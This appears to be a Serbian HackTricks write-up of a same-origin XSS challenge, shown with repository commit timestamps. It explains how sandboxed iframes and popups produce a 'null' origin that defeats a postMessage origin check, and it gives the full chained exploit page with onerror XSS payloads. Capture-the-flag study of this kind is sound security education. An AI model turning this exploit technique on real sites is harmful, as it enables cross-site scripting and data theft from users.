hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

93 lines
5.8 KiB
Markdown
Raw Normal View History

2024-02-10 13:11:20 +00:00
# Bypassovanje SOP-a pomoću Iframeova - 1
2022-10-13 00:56:34 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-10-13 00:56:34 +00:00
</details>
2024-02-10 13:11:20 +00:00
## Iframeovi u SOP-1
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
U ovom [**izazovu**](https://github.com/terjanq/same-origin-xss) kreiranom od strane [**NDevTK**](https://github.com/NDevTK) i [**Terjanq**](https://github.com/terjanq) trebate iskoristiti XSS u kodiranom
2022-10-13 00:56:34 +00:00
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
2024-02-10 13:11:20 +00:00
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
2022-10-13 00:56:34 +00:00
}
```
2024-02-10 13:11:20 +00:00
Glavni problem je što [**glavna stranica**](https://so-xss.terjanq.me) koristi DomPurify za slanje `data.body`, pa da biste poslali svoje HTML podatke tom kodu, morate **zaobići** `e.origin !== window.origin`.
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
Pogledajmo rešenje koje predlažu.
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
### Zaobilaženje SOP-a 1 (e.origin === null)
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
Kada je `//example.org` ugrađen u **sandbox iframe**, tada će **poreklo** stranice biti **`null`**, tj. **`window.origin === null`**. Dakle, samo ugrađivanjem iframe-a putem `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` možemo **nametnuti `null` poreklo**.
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
Ako je stranica **ugrađiva**, mogli biste zaobići tu zaštitu na taj način (kolačići takođe mogu zahtevati postavljanje na `SameSite=None`).
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
### Zaobilaženje SOP-a 2 (window.origin === null)
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
Manje poznata činjenica je da kada je postavljena vrednost **sandbox atributa `allow-popups`**, tada će **otvoreni popup** naslediti sve **sandbox atribute** osim ako nije postavljeno `allow-popups-to-escape-sandbox`.\
Dakle, otvaranje **popupa** iz **nultog porekla** će učiniti da je **`window.origin`** unutar popupa takođe **`null`**.
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
### Rešenje izazova
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
Stoga, za ovaj izazov, mogli biste **kreirati** iframe, **otvoriti popup** na stranici sa ranjivim XSS kodom (`/iframe.php`), jer je `window.origin === e.origin` jer su oba `null`, moguće je **poslati payload koji će iskoristiti XSS**.
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
Taj **payload** će dobiti **identifikator** i poslati **XSS** natrag na vrh stranice (stranica koja otvara popup), **koja će promeniti lokaciju** na ranjivu `/iframe.php`. Zato što je identifikator poznat, nije važno da uslov `window.origin === e.origin` nije ispunjen (zapamtite, poreklo je **popup** iz iframe-a koji ima **poreklo** **`null`**) jer je `data.identifier === identifier`. Zatim će se **XSS ponovo pokrenuti**, ovaj put na pravom poreklu.
2022-10-13 00:56:34 +00:00
```html
<body>
2024-02-10 13:11:20 +00:00
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
2022-10-13 00:56:34 +00:00
</body>
```
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-10-13 00:56:34 +00:00
</details>